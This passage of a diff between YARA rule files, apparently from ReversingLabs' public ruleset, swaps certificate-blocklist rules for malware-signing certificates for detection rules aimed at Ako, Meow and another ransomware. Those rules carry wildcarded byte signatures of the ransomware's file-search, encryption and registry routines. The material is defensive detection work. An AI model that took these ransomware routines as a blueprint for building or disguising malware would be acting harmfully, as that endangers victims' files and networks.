45 ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 83 7D + ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 FF 45 ?? 66 83 7D + ?? ?? 75 ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 33 C9 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 + 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? + E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $write_zoldon_regkey = { + 55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 88 4D ?? 8B DA 8B F0 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 8D 45 ?? 8B D3 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D8 84 DB + 75 ?? 8D 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 89 45 ?? 80 7D ?? + ?? 74 ?? 83 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 46 ?? 50 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 + 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 ?? EB + ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 8B 46 ?? 50 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? + ?? 50 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 + ?? 80 7D ?? ?? 74 ?? 83 7E ?? ?? 0F 95 C0 84 D8 74 ?? FF 76 ?? 68 ?? ?? ?? ?? FF 75 + ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 + C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $find_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? + ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? + 89 45 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 + C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 + ?? 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? + ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 + 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B + } + $find_files_p2 = { + 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? + ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D + 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? + ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D + 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? + ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MIKL LIMITED" and pe.signatures [ i ] . serial == "3d:25:80:e8:95:26:f7:85:2b:57:06:54:ef:d9:a8:bf" and 1529888400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $write_zoldon_regkey ) and ( all of ( $find_files_p* ) ) and ( all of ( $main_encrypt_function_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0Fffe432A53Ff03B9223F88Be1B83D9D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing BabyShark malware." + description = "Yara rule that detects Ako ransomware." author = "ReversingLabs" - id = "25a4c68b-5774-51a2-9aba-1326c85a5251" - date = "2020-08-05" - modified = "2023-11-08" + id = "00d67696-998c-5bc3-95e7-0320ca558cdb" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2970-L2986" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ako.yara#L1-L152" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e7dbe6b95877f9473661ccf26fa6e5142147609adfe0a9bb8b493875325710af" + logic_hash = "488e9b528f75fcfaa8dd19859801e6e5a73575c33cd70c98ebaa9ae93025018b" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ako" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EGIS Co., Ltd." and pe.signatures [ i ] . serial == "0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d" and 1498524050 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_832E161Aea5206D815F973E5A1Feb3E7 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing SeedLocker ransomware." - author = "ReversingLabs" - id = "ecaa250b-d4ac-5cc9-9e5e-5d6f45db18ad" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2988-L3006" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "da908de031c78aa012809988e44dea564d32b88b65a2010925c1af85d578a68a" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_network_shares_win32_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 8B + 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 + ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F + 85 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 + ?? ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 52 + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + } + $encrypt_network_shares_win32_p2 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? + ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 + 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? + E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? + 83 C2 ?? 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 45 ?? 73 ?? 83 7D ?? ?? 76 ?? 8B 45 + } + $encrypt_network_shares_win32_p3 = { + 33 D2 B9 ?? ?? ?? ?? F7 F1 85 D2 75 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 4D ?? E8 + ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? EB ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 55 ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 8D + 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8A 45 ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D + C2 + } + $find_files_win32_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B + 7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? 03 + D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? 59 EB + ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E 5F 5B 8B E5 5D + C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? + ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 + ?? 0F B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B + } + $find_files_win32_p2 = { + 8D ?? ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? + ?? ?? ?? 83 C4 ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA 42 + F7 D8 68 ?? ?? ?? ?? 1B C0 33 FF 23 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B + 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 + ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B + 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD + ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 50 FF B5 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? + ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? ?? 59 75 ?? 8B 10 8B 40 ?? 8B + 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 + 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + $encrypt_files_win32_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? + 75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 + C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? + 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 C0 66 0F 13 85 ?? + ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D + ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? ?? ?? ?? 7C ?? 8B + 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 55 ?? 52 + } + $encrypt_files_win32_p2 = { + 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 + 68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 + 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? + ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 + 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 3B 4D ?? + 0F 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 8D 4D ?? + E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 + 85 D2 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 + ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55 + ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D + ?? 8B 95 ?? ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 + } + $encrypt_files_win32_p3 = { + 8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 + 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 + 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52 + FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 39 45 ?? 75 ?? 0F 57 + C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D + ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B + E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Project NSRM Ltd" and ( pe.signatures [ i ] . serial == "00:83:2e:16:1a:ea:52:06:d8:15:f9:73:e5:a1:fe:b3:e7" or pe.signatures [ i ] . serial == "83:2e:16:1a:ea:52:06:d8:15:f9:73:e5:a1:fe:b3:e7" ) and 1549830060 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_win32_p* ) ) and ( all of ( $encrypt_files_win32_p* ) ) and ( all of ( $encrypt_network_shares_win32_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_09Aecea45Bfd40Ce7D62D7D711916D7D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Meow : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Meow ransomware." author = "ReversingLabs" - id = "421425b1-13ad-5d80-b044-8bd43c60b3ff" - date = "2020-08-05" - modified = "2023-11-08" + id = "7cebb04d-1cda-5ad1-b412-8b38df7b2550" + date = "2022-10-24" + modified = "2022-10-24" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3008-L3024" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Meow.yara#L1-L84" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d1c6bfb10a244ba866c8aabdff6055388afa8096fd4bd77bb21f781794333e9b" + logic_hash = "b00753d2b150a815279297ddf40d70051d25de1c32bb90f5b706ea7fd36bb871" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Meow" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALINA LTD" and pe.signatures [ i ] . serial == "09:ae:ce:a4:5b:fd:40:ce:7d:62:d7:d7:11:91:6d:7d" and 1551052800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_4Ff4Eda5Fa641E70162713426401F438 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "3e34aa1b-a4b1-593d-bd93-0f5913ab96b9" - date = 